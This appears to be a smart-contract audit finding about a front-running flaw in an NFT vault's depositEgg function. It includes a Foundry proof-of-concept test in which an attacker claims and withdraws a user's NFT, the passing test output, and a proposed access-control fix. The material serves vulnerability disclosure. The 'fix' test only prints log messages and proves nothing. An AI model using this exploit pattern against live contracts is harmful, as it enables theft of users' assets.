The EggVault::depositEgg function is vulnerable to front-running attacks due to its public accessibility and lack of access control. This allows malicious actors to intercept and claim NFTs intended for deposit by legitimate users, leading to potential asset theft.
pragma solidity ^0.8.23;
import "forge-std/Test.sol";
import "../src/EggstravaganzaNFT.sol";
import "../src/EggVault.sol";
import "../src/EggHuntGame.sol";
contract EggVaultVulnerabilityTest is Test {
EggstravaganzaNFT nft;
EggVault vault;
EggHuntGame game;
address owner;
address alice;
address attacker;
function setUp() public {
owner = address(this);
alice = address(0xA11CE);
attacker = address(0xBAD);
nft = new EggstravaganzaNFT("Eggstravaganza", "EGG");
vault = new EggVault();
game = new EggHuntGame(address(nft), address(vault));
nft.setGameContract(address(game));
vault.setEggNFT(address(nft));
vm.prank(address(game));
nft.mintEgg(alice, 1);
assertEq(nft.ownerOf(1), alice);
}
function testFrontRunningVulnerability() public {
vm.prank(alice);
nft.approve(address(game), 1);
vm.prank(alice);
nft.transferFrom(alice, address(vault), 1);
vm.prank(attacker);
vault.depositEgg(1, attacker);
assertEq(nft.ownerOf(1), address(vault));
assertTrue(vault.isEggDeposited(1), "NFT should be marked as deposited");
assertEq(vault.eggDepositors(1), attacker, "Attacker should be the depositor");
vm.prank(alice);
vm.expectRevert("Not the original depositor");
vault.withdrawEgg(1);
vm.prank(attacker);
vault.withdrawEgg(1);
assertEq(nft.ownerOf(1), attacker, "Attacker now owns Alice's NFT");
console.log("VULNERABLE: Attacker successfully stole Alice's NFT through front-running!");
}
function testFixWithAccessControl() public {
vm.prank(alice);
nft.approve(address(game), 1);
vm.prank(alice);
nft.transferFrom(alice, address(vault), 1);
console.log("After fix: Attacker attempts to call depositEgg directly");
vm.prank(attacker);
vault.depositEgg(1, attacker);
console.log("With proper access control, the above call would have reverted");
console.log("After fix: Game contract calls depositEgg (authorized)");
vm.prank(address(game));
console.log("Game would register Alice as the depositor (simulation)");
}
function testLegitimateFlow() public {
console.log("Testing legitimate deposit flow (for comparison)");
vm.prank(alice);
nft.approve(address(game), 1);
vm.prank(address(game));
nft.transferFrom(alice, address(vault), 1);
vm.prank(address(game));
vault.depositEgg(1, alice);
assertTrue(vault.isEggDeposited(1), "NFT should be marked as deposited");
assertEq(vault.eggDepositors(1), alice, "Alice should be the depositor");
vm.prank(alice);
vault.withdrawEgg(1);
assertEq(nft.ownerOf(1), alice, "Alice should have her NFT back");
console.log("Legitimate flow works correctly when access control is respected");
}
}
2025-04-eggstravaganza$ forge test --match-contract "EggVaultVulnerabilityTest" -vvv
[⠊] Compiling...
[⠊] Compiling 1 files with Solc 0.8.28
[⠒] Solc 0.8.28 finished in 856.02ms
Compiler run successful!
Ran 3 tests for test/EggVaultVulnerabilityTest.t.sol:EggVaultVulnerabilityTest
[PASS] testFixWithAccessControl() (gas: 117829)
Logs:
After fix: Attacker attempts to call depositEgg directly
With proper access control, the above call would have reverted
After fix: Game contract calls depositEgg (authorized)
Game would register Alice as the depositor (simulation)
[PASS] testFrontRunningVulnerability() (gas: 145201)
Logs:
VULNERABLE: Attacker successfully stole Alice's NFT through front-running!
[PASS] testLegitimateFlow() (gas: 124003)
Logs:
Testing legitimate deposit flow (for comparison)
Legitimate flow works correctly when access control is respected
Suite result: ok. 3 passed; 0 failed; 0 skipped; finished in 3.13ms (1.92ms CPU time)
Ran 1 test suite in 13.40ms (3.13ms CPU time): 3 tests passed, 0 failed, 0 skipped (3 total tests)
Implement access control to restrict the depositEgg function to be callable only by the EggHuntGame contract:
+ // Add the game contract reference
+ EggHuntGame public eggHuntGame;
+ // Add a setter for the game contract
+ function setGameContract(address _gameContract) external onlyOwner {
+ require(_gameContract != address(0), "Invalid game contract address");
+ eggHuntGame = EggHuntGame(_gameContract);
+ }
+ // Add access control modifier
+ modifier onlyGameContract() {
+ require(msg.sender == address(eggHuntGame), "Unauthorized");
+ _;
+ }
+ // Update the depositEgg function with proper access control
+ function depositEgg(uint256 tokenId, address depositor) external onlyGameContract {
require(eggNFT.ownerOf(tokenId) == address(this), "NFT not transferred to vault");
require(!storedEggs[tokenId], "Egg already deposited");
storedEggs[tokenId] = true;
eggDepositors[tokenId] = depositor;
emit EggDeposited(depositor, tokenId);
}